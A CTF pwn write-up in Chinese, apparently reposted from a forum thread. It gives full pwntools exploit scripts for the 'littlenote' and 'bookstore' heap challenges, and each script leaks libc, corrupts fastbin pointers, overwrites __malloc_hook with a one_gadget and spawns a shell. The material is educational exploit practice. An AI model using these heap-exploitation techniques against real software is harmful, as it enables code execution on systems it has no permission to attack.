原贴主地址:https://www.52pojie.cn/thread-837939-1-1.html
littenote这道题的exp
#------------------------------------------------------------------------------------------------------------------------------------
from pwn import *
io&＃61;process(&＃39;./littlenote&＃39;)
#context(os&＃61;&＃39;linux&＃39;,arch&＃61;&＃39;amd64&＃39;,log_level&＃61;&＃39;debug&＃39;)
def add(content,choose):
io.sendline(&＃39;1&＃39;)
io.recvuntil(&＃39;Enter your note\n&＃39;)
io.send(content)
io.recvuntil(&＃39;Want to keep your note?\n&＃39;)
io.sendline(choose)
io.recvuntil(&＃39;Done\n&＃39;)
def show(index):
io.sendline(&＃39;2&＃39;)
io.recvuntil(&＃39;Which note do you want to show?\n&＃39;)
io.sendline(str(index))
return (io.recvuntil("\nDone\n"))[:-6]
def free(index):
io.sendline(&＃39;3&＃39;)
io.recvuntil(&＃39;Which note do you want to delete?\n&＃39;)
io.sendline(str(index))
io.recvuntil(&＃39;Done\n&＃39;)
def main():
add(&＃39;\x00&＃39;*0x58&＃43;p64(0x71),&＃39;Y&＃39;)
add(&＃39;a&＃39;,&＃39;Y&＃39;)
add((p64(0x0)&＃43;p64(0x21))*6,&＃39;Y&＃39;)
free(1)
free(0)
free(1)
#pause()
heap_base&＃61;u64((show(0)).ljust(8,&＃39;\x00&＃39;))-0x70
print "heap_base -> " &＃43; hex(heap_base)
#pause()
add(p64(heap_base&＃43;0x60),&＃39;Y&＃39;) # !
add(&＃39;\x00&＃39;*0x58&＃43;p64(0x71),&＃39;Y&＃39;)
add(&＃39;\x00&＃39;*8&＃43;p64(0x81),&＃39;Y&＃39;)
add(&＃39;\x00&＃39;*8&＃43;p64(0xA1),&＃39;Y&＃39;)
#pause()
free(1)
libc_base&＃61;u64((show(1)).ljust(8,&＃39;\x00&＃39;))-0x68-0x00000000003C4B10
print "libc_base -> " &＃43; hex(libc_base)
one_gadget&＃61;libc_base&＃43;0xf02a4 # change
print "one_gadget -> " &＃43; hex(one_gadget)
add(&＃39;a&＃39;,&＃39;Y&＃39;) # 7
add(&＃39;a&＃39;,&＃39;Y&＃39;) # 8
add(&＃39;a&＃39;,&＃39;Y&＃39;) # 9
free(7)
free(8)
free(7)
point&＃61;libc_base&＃43;0x3c4af5-8
add(p64(point),&＃39;Y&＃39;) # 10
add(&＃39;a&＃39;,&＃39;Y&＃39;) # 11
add(p64(point),&＃39;Y&＃39;) # 12
#pause()
add(&＃39;a&＃39;*19&＃43;p64(one_gadget),&＃39;Y&＃39;)
io.sendline(&＃39;1&＃39;)
io.interactive()
main()
#------------------------------------------------------------------------------------------------------------------------------------
这道题就是个chunk extend/overlapping,通过extend/overlapping来修改一些已经malloc的chunk的size域为small chunk而不属于fast chunk的范围,从而导致free该chunk的时候被放入unsorted bin,从而可以leak出libc地址跟计算出one_gadget的地址,进而修改fd指针指向__malloc_hook的附近的位置.从而控制程序执行流获得一个shell.
bookstore这道题有意思的多.
附上原帖贴主的exp
#------------------------------------------------------------------------------------------------------------------------------------
#!/usr/bin/env python
# -*- coding: UTF-8 -*-
# imports
from pwn import *
import time
import os
import sys
elf &＃61; ""
libc &＃61; ""
env &＃61; ""
LOCAL &＃61; 1
context.log_level &＃61; "debug"
p &＃61; process("./bookstore", env&＃61;{"LD_PRELOAD":"/tmp/ironthree/book/libc_64.so"})
#p &＃61; remote("ip", port) #uncomment this.
p.recvuntil("choice:\n")
def add(name, length, book):
p.sendline("1")
p.recvuntil("name?\n")
p.send(name)
p.recvuntil("name?\n")
p.sendline(str(length))
p.recvuntil("book?\n")
p.send(book)
p.recvuntil("choice:\n")
def sell(idx):
p.sendline("2")
p.recvuntil("sell?\n")
p.sendline(str(idx))
p.recvuntil("choice:\n")
def read(idx):
p.sendline("3")
p.recvuntil("sell?\n")
p.sendline(str(idx))
data &＃61; p.recvuntil("choice:\n")
return data
add("1234567\n", 0, "a\n")
for i in range(4):
add("12345678\n", 0x50, "a\n")
add("aaaadddd\n", 0, "a\n") #7
add("bbbbcccc\n", 0x40, "a\n") #8
add("railser\n", 0, "b\n")
add("ddaa\n", 0x50, "b\n")
add("ddaa\n", 0x20, "b\n")
add("ddaa\n", 0x30, "b\n")
add("ddaa\n", 0x40, "b\n")
add("ddaa\n", 0x50, "b\n")
sell(0)
add("trytry\n", 0, "a" * 24 &＃43; p64(0xc1)&＃43;"\n") #overflow
sell(1)
add("a" * 16 &＃43; p64(0x6e)&＃43;"\n", 20, "x"*8&＃43;"\n")
data &＃61; read(1)
libc_addr &＃61; data.split("x"*8)[1][:6]
libc &＃61; u64(libc_addr &＃43; "\0\0") - 0x3c4c28
print hex(libc)
one &＃61; libc &＃43; 0x4526a
mallochook &＃61; libc &＃43; 0x3c4b10 - 0x10
target &＃61; libc &＃43; 0x3c4b38
#gogo
sell(5)
sell(6)
add("a"*30, 0, "a" * 24 &＃43; p64(0x51)&＃43;p64(0x6f)&＃43;"\n")
add("a"*30 ,0x40, "a\n")
sell(7)
sell(8)
add("a"*30, 0, "a"*24 &＃43; p64(0x61)&＃43;p64(target) &＃43; "\n")
add("a" * 30, 0x50, "a\n")
add("a"*30, 0x50, p64(0) * 6 &＃43; p64(mallochook) &＃43; "\n")
add("a"*30, 0x50, "a"*0x30&＃43;"\n")
add("a"*30, 0x50, p64(one) &＃43; "a"*0x30&＃43;"\n")
p.sendline("1")
p.sendline("xxxx")
p.sendline("30")
p.interactive()
#------------------------------------------------------------------------------------------------------------------------------------
拿到这道题我早就可以修改fd指针的.不过因为程序对malloc的大小有限制所以导致不知道下一步要怎么办,尝试过malloc 2 stack,不过stack上也没有合适的size,所以就卡住了,直到看到了原帖贴主的exp,他的思路是通过修改free的fast chunk的fd指针,从而可以控制fastbin来伪造size,进而可以修改别的free的chunk的fd来指向这个我们伪造的size,进而控制top chunk的指针,从而malloc 2 __malloc_hook,这种思路第一次看到!
至于myhouse这题,还没看...
有师傅学pwn的可以交流交流!
这几道题目可以在原帖下载!
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